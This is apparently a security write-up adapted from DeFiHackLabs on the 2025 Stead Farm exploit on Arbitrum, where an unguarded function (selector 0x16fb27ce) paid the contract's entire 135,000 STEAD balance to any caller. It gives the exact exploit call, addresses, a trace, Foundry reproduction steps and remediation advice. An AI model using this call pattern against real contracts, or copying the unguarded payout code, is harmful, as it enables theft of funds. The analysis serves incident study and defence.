Stead Farm Exploit — Permissionless STEAD Drain via Un-Access-Controlled Function

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-06-Stead_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/Stead_exp.sol.

Vulnerability classes: vuln/access-control/missing-auth · vuln/access-control/missing-modifier

One-liner: an unverified STEAD "Farm/Staking" contract on Arbitrum exposed a public function (selector 0x16fb27ce) that transferred the contract's entire STEAD balance to whoever called it — no access control, no caller-balance check. Anyone calling it with (1, 1, 1) walked away with the full 135,000 STEAD the contract held.

Reproduction: the PoC compiles & runs in this isolated Foundry project (this folder). Full verbose trace: output.txt. The vulnerable implementation (0xca9d57…) is unverified on Arbiscan, so the snippets below come from the verified peripheral contracts (Registry, SteadToken) plus the decompiled selector table and the on-chain execution trace.

Key info#

TL;DR#

The Stead protocol deployed a farming / staking contract (proxy 0xf9FF…, implementation 0xca9d57…) that was funded with STEAD tokens to pay out yield. Its decompiled dispatch table exposes farm-style methods (stake, unstake, farm, freezeFarm, unfreezeFarm, calculatePerSecondReward, calculateUserLpValue, …) — see the selector inventory.

One of those entry points, selector 0x16fb27ce, performs the following on every call, with no onlyOwner / onlyOperator / per-user check:

1. Resolve the STEAD token address from the Registry (getContractAddress("SteadToken")).
2. Read the Farm contract's own STEAD balance via balanceOf(address(this)).
3. transfer(msg.sender, <that entire balance>).

So the function pays out the contract's whole STEAD balance to whoever calls it. The attacker simply called 0xf9FF… with 0x16fb27ce + abi.encode(1, 1, 1) from a fresh EOA holding zero STEAD, and received the full 135,000.000000 STEAD the Farm was holding. There is no AMM, no oracle, no flash loan, and no complex setup — it is a one-call, one-tx drain of a contract whose only defense should have been an access modifier that was never applied.

Background — what the protocol does#

STEAD is a small ERC-20 ("Stead Token" / STEAD, 6 decimals) on Arbitrum, with the token logic behind a TransparentUpgradeableProxy (SteadToken.sol). The on-chain state at the fork block:

The token wiring is mediated by a Registry name→address map (Registry.sol):

contract Registry is OwnableUpgradeable {
    mapping(string => address) public registry;
    function getContractAddress(string memory _name) external view returns (address) {
        require(registry[_name] != address(0), "Registry :: Address not found");
        return registry[_name];
    }
}

Registry.sol:20-25

"SteadToken" resolves to the STEAD token, as seen in the trace:

0x3e0340eA…::getContractAddress("SteadToken")
  └─ ← 0x…42f4e5fcd12d59e879dbcb908c76032a4fb0303b   // STEAD token

(output.txt:31-34)

The STEAD token itself is a fairly standard ERC20Upgradeable with an operator-gated mint and burn, an owner-gated setOperator, and a time-based price-escalation read function — all correctly access-controlled with onlyOwner / onlyOperator (SteadToken.sol:42-59). The bug is not in the token; it is in the separate Farm contract that holds STEAD to distribute it.

The vulnerable code#

The Farm implementation 0xca9d57… is not verified on Arbiscan, so there is no Solidity source to quote. What follows is reconstructed from (a) the contract's runtime bytecode selector table and (b) the exact call trace.

Decompiled selector inventory#

Pulling PUSH4 selectors from the impl runtime bytecode and decoding them against the 4byte directory:

(There are also a handful of unknown selectors 0x21eed1cd, 0x565b6101, 0x0110ceef, 0x01e13380, 0x43000814 that the 4byte DB cannot resolve.)

The picture is unambiguous: this is a STEAD yield-farming contract that is funded with STEAD and pays it out. Selector 0x16fb27ce is a custom payout/claim-style method whose name was never published (unverified source), but whose effect the trace shows precisely.

What 0x16fb27ce actually does (from the trace)#

0xf9FF…::16fb27ce(0x…0001 0x…0001 0x…0001)               // call(0x16fb27ce, abi.encode(1,1,1))
└─ delegatecall 0xca9d57…::16fb27ce(…)
   ├─ 0x3e0340…::getContractAddress("SteadToken")  → 0x42F4e5…  // resolve STEAD
   ├─ 0x42F4e5…::balanceOf(0xf9FF…)               → 135000000000 // read OWN balance
   └─ 0x42F4e5…::transfer(msg.sender, 135000000000)            // send it ALL to caller
        emit Transfer(from: 0xf9FF…, to: attacker, amount: 135000000000)

(output.txt:29-47)

In pseudo-Solidity, the function reduces to:

function f16fb27ce(uint256 /*a*/, uint256 /*b*/, uint256 /*c*/) external {
    // ❌ NO access control: no onlyOwner / onlyOperator / msg.sender check
    IERC20 stead = IERC20(registry.getContractAddress("SteadToken"));
    uint256 bal = stead.balanceOf(address(this));   // entire contract balance
    stead.transfer(msg.sender, bal);                // ❌ paid to arbitrary caller
}

The three uint256 arguments (passed as 1, 1, 1) are read by the function but have no bearing on the amount transferred — the amount is the contract's full STEAD balance regardless.

Root cause — why it was possible#

A single missing authorization check.

The function transfers the entire STEAD balance the Farm holds to msg.sender, but it never verifies that msg.sender is the owner, an operator, or a staker entitled to a reward. The amount is not derived from the caller's stake or accrued reward; it is the raw balanceOf(address(this)). Any externally-owned account can therefore drain the contract in one call.

Contributing factors:

1. No access modifier. Sibling admin functions in the same contract (freezeFarm, setFarm, setRegistry) and the underlying token (mint, burn, setOperator) are all correctly gated with onlyOwner / onlyOperator. This one payout function was deployed without any guard — a classic "one function forgot the modifier" omission.
2. Amount = full contract balance, not a per-user entitlement. Even a correctly-authorized claim should pay a computed reward, not balanceOf(this). Paying the whole balance turns any authorization slip into a total drain.
3. Unverified implementation. Because 0xca9d57… was never verified on Arbiscan, the flaw was invisible to ordinary source review, yet trivially discoverable by anyone who probed the selectors of the deployed bytecode — exactly what the attacker did.
4. The Farm was pre-funded. The contract was sitting on 135,000 STEAD intended for yield payouts, so the un-gated function had a substantial balance to give away.

Preconditions#

• The Farm contract holds STEAD (it held 135,000 STEAD at the fork block). The drained amount equals exactly that balance.
• The attacker knows the custom selector 0x16fb27ce. This is recoverable from the deployed bytecode's dispatch table even though the source is unverified.
• No working capital, flash loan, oracle manipulation, AMM positioning, or special role is required. The caller's STEAD balance starts at 0.

Step-by-step attack walkthrough (ground-truth numbers from the trace)#

The whole attack is a single external call. All figures are STEAD with 6 decimals.

Verbatim from the trace:

emit Transfer(from: 0xf9FF933f51bA180a474634440a406c95DfB27596,
              to:   Contractf9ff (attacker),
              amount: 135000000000 [1.35e11])
storage changes (STEAD):
  attacker balance:   0 → 0x…1f6ea08600   (135000000000)
  Farm     balance:   0x…1f6ea08600 → 0

(output.txt:41-44)

PoC balance log:

Attacker Before exploit STEAD Balance: 0.000000
Attacker After  exploit STEAD Balance: 135000.000000

(output.txt:6-7)

Profit / loss accounting#

The on-chain numbers reconcile to the wei: the attacker's gain equals the Farm's entire prior balance. There is no slippage, fee, or residual.

Diagrams#

Sequence of the attack#

Farm balance / authorization state evolution#

The flaw inside 0x16fb27ce#

Remediation#

1. Add access control to the payout function. The function that transfers STEAD must be gated — onlyOwner/onlyOperator for an admin sweep, or restricted to entitled stakers for a claim. The other functions in this very contract already use onlyOwner/onlyOperator correctly; this one simply omitted the modifier.
2. Never transfer balanceOf(address(this)) to an arbitrary caller. A reward/claim must pay a computed per-user entitlement (the contract already has calculatePerSecondPerUserReward(address,uint256) for exactly this), not the entire contract balance. Paying the full balance turns any authorization mistake into a total loss.
3. Verify all deployed implementations. Leaving 0xca9d57… unverified did not hide the bug from attackers (selectors are readable from bytecode) but did hide it from defenders and auditors. Publish and audit the source of every upgradeable implementation before funding it.
4. Adopt withdraw-pattern + reentrancy/CEI hygiene and unit tests that assert "a random EOA cannot move funds." A single negative test calling each external function from an unprivileged address would have caught this immediately.
5. Pause/empty mechanism. Keep an owner-only emergency path and avoid pre-funding payout contracts with more than the rewards owed over a short window, to bound the blast radius of any future authorization slip.

How to reproduce#

The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has many unrelated PoCs that fail to whole-compile under forge test):

_shared/run_poc.sh 2025-06-Stead_exp -vvvvv

• RPC: an Arbitrum archive endpoint is required (fork block 352,509,407). foundry.toml uses https://arbitrum.drpc.org; the originally configured Infura key lacked Arbitrum access (HTTP 401) and was swapped for this one.
• Local imports resolved: the PoC imports ../basetest.sol, which imports ./tokenhelper.sol; both were copied to the project root so the relative paths resolve.

Expected tail:

Ran 1 test for test/Stead_exp.sol:Contractf9ff
[PASS] testExploit() (gas: 89821)
  Attacker Before exploit STEAD Balance: 0.000000
  Attacker After exploit STEAD Balance: 135000.000000
Suite result: ok. 1 passed; 0 failed; 0 skipped

Reference: TenArmor alert — https://x.com/TenArmorAlert/status/1939508301596672036 (Stead, Arbitrum, ~$14.5K). Vulnerable contract: https://arbiscan.io/address/0xf9FF933f51bA180a474634440a406c95DfB27596#code (implementation unverified).

Sources & further analysis#

Reproductions & code

• Standalone PoC + full trace: 2025-06-Stead_exp (evm-hack-registry mirror).
• Upstream DeFiHackLabs PoC: Stead_exp.sol.
• Attack transaction: view on explorer.

Alerts & third-party analyses

• Original alert / thread: post on X.
• DeFiHackLabs incident explorer: search "Stead Farm Exploit".
• Web3Sec X hacked database: search.
• Rekt leaderboard: search.
• Solodit incident search: search.

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.